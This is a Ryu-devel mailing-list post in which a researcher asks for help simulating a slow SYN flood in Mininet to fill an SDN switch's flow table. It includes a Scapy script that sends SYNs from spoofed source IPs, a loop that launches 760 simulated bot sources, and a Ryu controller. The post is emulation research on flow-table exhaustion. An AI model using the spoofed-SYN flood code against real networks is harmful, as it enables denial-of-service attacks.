Hello All,
I need to simulate slow SYN attack in mininet with Ryu. I need to fill the 
switch flow table with 1500 flow entries. However, when I run the code the 
maximum number of flows I saw was 67, and after  a while of running the code, 
my laptop holds.My Laptop has Intel Core i5 cpu with 8GB RAM. I need to know if 
the problem from limited resources or from bug in the code.The attached is my 
topology code with the controller code and the shell the host needs to run to 
generate SYN packets.
Any help will be appreciated.
Regards,  
#!/usr/bin/python

from mininet.net import Mininet
from mininet.node import Controller, RemoteController, OVSController
from mininet.node import CPULimitedHost, Host, Node
from mininet.node import OVSKernelSwitch, UserSwitch
from mininet.node import IVSSwitch
from mininet.cli import CLI
from mininet.link import TCLink
from mininet.log import setLogLevel, info
from mininet.link import Intf
from subprocess import call
from time import clock
import time
import random


def myNetwork():

    net = Mininet( topo=None, build=False, link=TCLink, controller=RemoteController)

    linkopts1 = dict(bw=100, delay='1us', loss=0)
    

    info( '*** Adding controller ***\n' )
    controller1=net.addController(name='controller1', controller=RemoteController, protocol='tcp', port=6633)

    info( '*** Adding switche ***\n')
    
    switch1 = net.addSwitch('s1', cls=OVSKernelSwitch)

    
    server = net.addHost('server', cls=Node, ip='192.168.1.100', mac='00:00:00:00:00:01')
    net.addLink(switch1, server, **linkopts1)

    client = net.addHost('client', cls=Node, ip='192.168.1.250', mac= '00:00:00:00:00:02')
    net.addLink(switch1, client, **linkopts1)

    attacker = net.addHost('attacker', cls=Node, ip='192.168.1.200', mac= '00:00:00:00:00:03')
    net.addLink(switch1, attacker, **linkopts1)

    info( '*** Starting network ***\n')
    net.build()
    net. staticArp()
    controller1.start()
    net.start()

    s1=net.get('s1')
    
    s1.cmd ('ovs-vsctl set Bridge s1 protocols=OpenFlow13')
   
 
    info( '\n*** Starting web server ***\n')
    server = net.get('server')
    server.cmd('iperf -s -p 80 &')
    server.cmd('tcpdump tcp port 80 -i server-eth0 -w server.pcap &')
    client = net.get('client')
     
    #Start the simulation
    info( '*** Starting the simulation ***\n')
    start_time = time.time()
    #for i in range(1,375):
       #client.cmd('iperf -p 80 -c 192.168.1.100 -t 300 &')
       #time.sleep(.5)
    attacker = net.get('attacker')
    ips = generate_IP()
    c = 0
    for ip in ips:
      
        #attacker.cmd('(sudo python SYN-ACK.py %s 192.168.1.100 %d 80) &'%(ip,ips[ip]))
        attacker.cmd('(watch -n 3 sudo python SYN-ACK.py %s 192.168.1.100 %d 80 ) & '%(ip,ips[ip]))
        
        time.sleep(.3125)
        c = c+1
      
    #attacker.cmd('sudo python SYN-ACK.py 192.168.1.150 192.168.1.100 80 &')
    
    print len(ips)
    finish_time = time.time() - start_time  

    CLI(net)
    net.stop()

def generate_IP():
    """Generate 760 diffrent IPs to simulate Botnets
    """
    #init_ip = '192.168.2.3'
    bot_IPs = {}
    c = 1
    r = 1
    for n in range(0,760):
        ip = '192.168.2.%s'%(n+1)
        port = random.randint(1024,65535)
        if n >=254 and n<= 505:
           ip = '192.168.3.%s'%(c+1)
           c = c+1
        if n> 505 and n<759:
           ip = '192.168.4.%s'%(r+1)
           r = r+1
        if n ==759:
           ip ='192.168.1.150'
        
        bot_IPs[ip] = port
        
    return bot_IPs

if __name__ == '__main__':
    setLogLevel( 'info' )
    myNetwork()

#!/usr/local/bin/python
from scapy.all import *

# VARIABLES
src = sys.argv[1]
dst = sys.argv[2]
sport = int(sys.argv[3])
dport = int(sys.argv[4])

# SYN
ip=IP(src=src,dst=dst)
SYN=TCP(sport=sport,dport=dport,flags='S',seq=1000)
SYNACK=sr1(ip/SYN)

# ACK
#ACK=TCP(sport=sport, dport=dport, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
#send(ip/ACK)




# Copyright (C) 2011 Nippon Telegraph and Telephone Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from ryu.base import app_manager
from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER, CONFIG_DISPATCHER, DEAD_DISPATCHER, HANDSHAKE_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.ofproto import ofproto_v1_3
from ryu.lib.packet import packet
from ryu.lib.packet import ipv4
from ryu.lib.packet import tcp
from ryu.lib.packet import ethernet
from ryu.lib.packet import ether_types
from ryu.lib.packet import arp
from ryu.lib.packet.arp import ARP_REQUEST, ARP_REPLY
from ryu import utils
from ryu.lib import hub
from time import clock


class SimpleSwitch13(app_manager.RyuApp):
    OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]

    def __init__(self, *args, **kwargs):
        super(SimpleSwitch13, self).__init__(*args, **kwargs)
        self.mac_to_port = {}
        self.datapaths = {}
        self.monitor_thread = hub.spawn(self._monitor)
        self.count = 1
        self.t =  clock()
        self.flow_mod = 0
        self.last_flow_mod =0
##################################################################################################################
    @set_ev_cls(ofp_event.EventOFPSwitchFeatures, CONFIG_DISPATCHER)
    def switch_features_handler(self, ev):
        datapath = ev.msg.datapath
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser

        # install table-miss flow entry
        #
        # We specify NO BUFFER to max_len of the output action due to
        # OVS bug. At this moment, if we specify a lesser number, e.g.,
        # 128, OVS will send Packet-In with invalid buffer_id and
        # truncated packet data. In that case, we cannot output packets
        # correctly.  The bug has been fixed in OVS v2.1.0.
        match = parser.OFPMatch()
        actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,
                                          ofproto.OFPCML_NO_BUFFER)]
        self.add_flow(datapath, 0, match, actions, 0)
#############################################################################################################
    @set_ev_cls(ofp_event.EventOFPStateChange,
                [MAIN_DISPATCHER, DEAD_DISPATCHER])
    def _state_change_handler(self, ev):
        datapath = ev.datapath
        if ev.state == MAIN_DISPATCHER:
            if not datapath.id in self.datapaths:
                self.logger.debug('register datapath: %016x', datapath.id)
                self.datapaths[datapath.id] = datapath
        elif ev.state == DEAD_DISPATCHER:
            if datapath.id in self.datapaths:
                self.logger.debug('unregister datapath: %016x', datapath.id)
                del self.datapaths[datapath.id]
###################################################################################################################

    def add_flow(self, datapath, priority, match, actions, idle_timeout, buffer_id=None):
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser

        inst = [parser.OFPInstructionActions(ofproto.OFPIT_APPLY_ACTIONS,
                                             actions)]
        if buffer_id:
             self.flow_mod = self.flow_mod +1
             mod = parser.OFPFlowMod(datapath=datapath, buffer_id=buffer_id, idle_timeout=idle_timeout, hard_timeout=0,
                                    priority=priority,flags= ofproto.OFPFF_SEND_FLOW_REM, match=match,
                                    instructions=inst)
        else:
             self.flow_mod = self.flow_mod +1
             mod = parser.OFPFlowMod(datapath=datapath, priority=priority , idle_timeout=idle_timeout, hard_timeout=0,
                                    flags= ofproto.OFPFF_SEND_FLOW_REM, match=match, instructions=inst)
        if self.count <= 1500:
           #self.count = self.count +1
           datapath.send_msg(mod)
        else:
              print "The TCAM memory is full"
              return

###############################################################################################################
    @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)
    def _packet_in_handler(self, ev):
        # If you hit this you might want to increase
        # the "miss_send_length" of your switch
        if ev.msg.msg_len < ev.msg.total_len:
            self.logger.debug("packet truncated: only %s of %s bytes",
                              ev.msg.msg_len, ev.msg.total_len)
        msg = ev.msg
        datapath = msg.datapath
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser
        in_port = msg.match['in_port']

        pkt = packet.Packet(msg.data)
        eth = pkt.get_protocols(ethernet.ethernet)[0]

        if eth.ethertype == ether_types.ETH_TYPE_LLDP:
            # ignore lldp packet
            return
        if eth.ethertype == ether_types.ETH_TYPE_ARP:
            self.logger.info("ARP packet")
            arpPacket = pkt.get_protocol(arp.arp)
            if (arpPacket.opcode == arp.ARP_REQUEST) and (arpPacket.dst_ip != '192.168.1.1250' and arpPacket.dst_ip !='192.168.1.100'):
               arp_dstIp = arpPacket.dst_ip
               print arp_dstIp

               # From the dest IP figure out the mac address
               targetMac = eth.src
               print targetMac
               targetIp = arpPacket.src_ip
               srcMac = '00:00:00:00:00:03'#ipToMac(arp_dstIp) # Get the MAC address of the ip looked up

               e = ethernet.ethernet(targetMac, srcMac, ether_types.ETH_TYPE_ARP)
               a = arp.arp(opcode=arp.ARP_REPLY, src_mac=srcMac, src_ip=arp_dstIp, dst_mac=targetMac, dst_ip=targetIp)
               p = packet.Packet()
               p.add_protocol(e)
               p.add_protocol(a)
               p.serialize()

               ofproto = datapath.ofproto
               parser = datapath.ofproto_parser
               datapath.send_msg(parser.OFPPacketOut(datapath=datapath, buffer_id=ofproto.OFP_NO_BUFFER, in_port=ofproto.OFPP_CONTROLLER, actions=[ parser.OFPActionOutput(in_port) ], data=p.data))

            elif arpPacket.opcode == ARP_REPLY:
                 pass
             
        dst = eth.dst
        src = eth.src

        ipsrc = '0.0.0.0'
        ipdst = '0.0.0.0'
        protocol =0
        src_port =0
        dst_port =0

       
        if pkt.get_protocol(ethernet.ethernet) and pkt.get_protocol(ipv4.ipv4) :
                (ip4,) = pkt.get_protocols(ipv4.ipv4)
                ipsrc = ip4.src
                ipdst = ip4.dst
                protocol = ip4.proto
                pkt_tcp = pkt.get_protocol(tcp.tcp)
                if pkt_tcp is not None:
                      src_port = pkt_tcp.src_port
                      dst_port = pkt_tcp.dst_port
        print "IP src ", ipsrc, "IP dst ", ipdst, "src port", src_port, "dst port ", dst_port
        dpid = datapath.id
        self.mac_to_port.setdefault(dpid, {})

        self.logger.info("packet in %s %s %s %s", dpid, src, dst, in_port)

        # learn a mac address to avoid FLOOD next time.
        self.mac_to_port[dpid][src] = in_port

        if dst in self.mac_to_port[dpid]:
            out_port = self.mac_to_port[dpid][dst]
        else:
          if ipsrc != '192.168.1.250':
            out_port = 1
          else:
            if ipsrc == '192.168.1.100' and ipdst != '192.168.1.250':
               out_port = 3
            else:
               out_port = ofproto.OFPP_FLOOD
        
        print "output port ", out_port
        actions = [parser.OFPActionOutput(out_port)]
        
        # install a flow to avoid packet_in next time
        if out_port != ofproto.OFPP_FLOOD:
            match = parser.OFPMatch(in_port=in_port, eth_dst=dst, eth_src=src, eth_type=ether_types.ETH_TYPE_IP, ipv4_src=ipsrc, ipv4_dst=ipdst,
                                                                   ip_proto=protocol, tcp_src=src_port, tcp_dst=dst_port)
            # verify if we have a valid buffer_id, if yes avoid to send both
            # flow_mod & packet_out
            print "Number of flows = ", repr(self.count)
            
            if msg.buffer_id != ofproto.OFP_NO_BUFFER:
                   self.add_flow(datapath, 1, match, actions, 10, msg.buffer_id)
                   return
            else:
                   self.add_flow(datapath, 1, match, actions, 10)
            
           
        data = None
        if msg.buffer_id == ofproto.OFP_NO_BUFFER:
            data = msg.data

        out = parser.OFPPacketOut(datapath=datapath, buffer_id=msg.buffer_id,
                                  in_port=in_port, actions=actions, data=data)
        datapath.send_msg(out)

        
################################################################################################################################
    def _monitor(self):
        while True:
            for dp in self.datapaths.values():
                self._request_stats(dp)
            hub.sleep(1)
############################################################################################################
    def _request_stats(self, datapath):
        self.logger.debug('send stats request: %016x', datapath.id)
        ofproto = datapath.ofproto
        parser = datapath.ofproto_parser

        req = parser.OFPFlowStatsRequest(datapath)
        datapath.send_msg(req)
        #self.send_flow_mod(datapath)
        
############################################################################################################
    @set_ev_cls(ofp_event.EventOFPFlowStatsReply, MAIN_DISPATCHER)
    def _flow_stats_reply_handler(self, ev):
        body = ev.msg.body
        
        flows = []
        for stat in body:
            flows.append('table_id=%s '
                         'duration_sec=%d duration_nsec=%d '
                         'priority=%d '
                         'idle_timeout=%d hard_timeout=%d flags=0x%04x '
                         'cookie=%d packet_count=%d byte_count=%d '
                         'match=%s instructions=%s' %
                         (stat.table_id,
                          stat.duration_sec, stat.duration_nsec,
                          stat.priority,
                          stat.idle_timeout, stat.hard_timeout, stat.flags,
                          stat.cookie, stat.packet_count, stat.byte_count,
                          stat.match, stat.instructions))
        num_Of_flows = len(flows) 
        self.count = num_Of_flows
        print '#flows', num_Of_flows
        now =  clock()
        time = now - self.t
        self.t =  clock()
        with open('./result.txt', 'a+') as fd:
                fd.write("Time")
                fd.flush()
                fd.write(str(time))
                fd.flush()
                fd.write(" #of_flows ")
                fd.flush()
                fd.write(str(self.count))
                fd.flush()
                fd.write("  #of_FLOW_MOD messages  ")
                fd.flush()
                fd.write(str(self.flow_mod))
                fd.flush()
                self.flow_mod = 0
                fd.write("\n")
                fd.flush()
                fd.close()
#////////////////////////////////////////////////////////////////////////////
    @set_ev_cls(ofp_event.EventOFPFlowRemoved, MAIN_DISPATCHER)
    def flow_removed_handler(self, ev):
        msg = ev.msg
        dp = msg.datapath
        ofp = dp.ofproto
        dpid = dp.id

        if msg.reason == ofp.OFPRR_IDLE_TIMEOUT:
            reason = 'IDLE TIMEOUT'
            #self.count = self.count -1 
            print "Idle Timeout removed the entry"
        elif msg.reason == ofp.OFPRR_HARD_TIMEOUT:
            reason = 'HARD TIMEOUT'
            print "Hard Timeout removed the entry"
------------------------------------------------------------------------------
Check out the vibrant tech community on one of the world's most
engaging tech sites, Slashdot.org! http://sdm.link/slashdot
_______________________________________________
Ryu-devel mailing list
Ryu-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/ryu-devel

Reply via email to